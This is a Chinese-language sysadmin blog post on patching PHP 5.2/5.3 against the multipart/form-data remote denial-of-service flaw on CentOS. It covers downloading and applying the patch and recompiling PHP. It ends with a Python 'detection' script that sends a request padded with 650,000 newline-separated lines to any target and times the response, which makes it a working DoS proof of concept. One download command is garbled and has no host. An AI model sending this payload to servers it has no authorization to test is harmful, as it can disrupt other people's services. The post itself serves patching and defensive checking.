今天在乌云上看到PHP multipart/form-data 远程DOS漏洞,马上给同事联系了下对线上服务器进行打补丁,先给一个centos编译安装nginx+php-fpm+mysql的教程,如果是根据我这样安装的话,那你们可以继续按照做下去了,如果不是的话,那么你们就看看吧.

系统:centos 5.x(64位)

需要的软件:php-5.2-multipart-form-data.patch

1.查看自己php版本

1. php -v
2. PHP 5.2.17p1 (cli) (built: Oct 29 2015 15:31:06)
3. Copyright (c) 1997-2010 The PHP Group
4. Zend Engine v2.2.0, Copyright (c) 1998-2010 Zend Technologies

如果版本高于5.3的话,那就直接升级php就可以了.

2.下载补丁文件

1. wget http://soft.vpser.net/web/php/bug/php-5.2-multipart-form-data.patch
2. //或
3. wget/php_patch/php-5.2-multipart-form-data.patch

3.安装补丁

1. 5.2:
2. cp php-5.2-multipart-form-data.patch ~/install/php-5.2.17/
3. cd php-5.2.17
4. patch -p1 < php-5.2-multipart-form-data.patch
5. 5.3:
6. wget http://soft.vpser.net/web/php/bug/php-5.3-multipart-form-data.patch
7. patch -p1 < php-5.3-multipart-form-data.patch

将42行到45行删除:

1. if [ “$php_version” == “$old_php_version” ]; then
2. echo “Error: The upgrade PHP Version is the same as the old Version!!”
3. exit 1
4. fi

4.重新对php进行编译

1. ./configure --prefix=/usr/local/php --enable-fastcgi --enable-fpm --with-fpm-log=/var/log/php-fpm.log \
2. --with-fpm-conf=/etc/php-fpm.conf --with-fpm-pid=/var/run/php-fpm.pid --with-config-file-path=/etc \
3. --with-config-file-scan-dir=/etc/php.d --with-openssl --with-zlib --enable-bcmath --with-bz2 --with-curl \
4. --enable-ftp --with-gd --enable-gd-native-ttf --with-jpeg-dir --with-png-dir --with-gettext --with-mhash \
5. --enable-mbstring --with-mcrypt --enable-soap --enable-zip --with-iconv=/usr/local/libiconv \
6. --with-mysql=/usr/local/mysql --with-mysqli=/usr/local/mysql/bin/mysql_config --without-pear

PS:你们最好自己查看下自己php的编译参数,php -i|grep configure

make && make install

好了,这样就把漏洞整好了,怎么检测呢?请看下面这个脚本:

1. cat dd.py
2. '''
3. Author: Shusheng Liu,The Department of Security Cloud, Baidu
4. email: liusscs@163.com
5. '''
6. import sys
7. import urllib,urllib2
8. import datetime
9. from optparse import OptionParser
10. def http_proxy(proxy_url):
11. proxy_handler = urllib2.ProxyHandler({"http" : proxy_url})
12. null_proxy_handler = urllib2.ProxyHandler({})
13. opener = urllib2.build_opener(proxy_handler)
14. urllib2.install_opener(opener)
15. #end http_proxy
16. def check_php_multipartform_dos(url,post_body,headers):
17. req = urllib2.Request(url)
18. for key in headers.keys():
19. req.add_header(key,headers[key])
20. starttime = datetime.datetime.now();
21. fd = urllib2.urlopen(req,post_body)
22. html = fd.read()
23. endtime = datetime.datetime.now()
24. usetime=(endtime - starttime).seconds
25. if(usetime > 5):
26. result = url+" is vulnerable";
27. else:
28. if(usetime > 3):
29. result = "need to check normal respond time"
30. return [result,usetime]
31. #end
32. def main():
33. #http_proxy("http://127.0.0.1:8089")
34. parser = OptionParser()
35. parser.add_option("-t", "--target", action="store",
36. dest="target",
37. default=False,
38. type="string",
39. help="test target")
40. (options, args) = parser.parse_args()
41. if(options.target):
42. target = options.target
43. else:
44. return;
45. Num=650000
46. headers={'Content-Type':'multipart/form-data; boundary=----WebKitFormBoundaryX3B7rDMPcQlzmJE1',
47. 'Accept-Encoding':'gzip, deflate',
48. 'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36'}
49. body = "------WebKitFormBoundaryX3B7rDMPcQlzmJE1\nContent-Disposition: form-data; name=\"file\"; filename=sp.jpg"
50. payload=""
51. for i in range(0,Num):
52. payload = payload + "a\n"
53. body = body + payload;
54. body = body + "Content-Type: application/octet-stream\r\n\r\ndatadata\r\n------WebKitFormBoundaryX3B7rDMPcQlzmJE1--"
55. print "starting...";
56. respond=check_php_multipartform_dos(target,body,headers)
57. print "Result : "
58. print respond[0]
59. print "Respond time : "+str(respond[1]) + " seconds";
60. if __name__=="__main__":
61. main()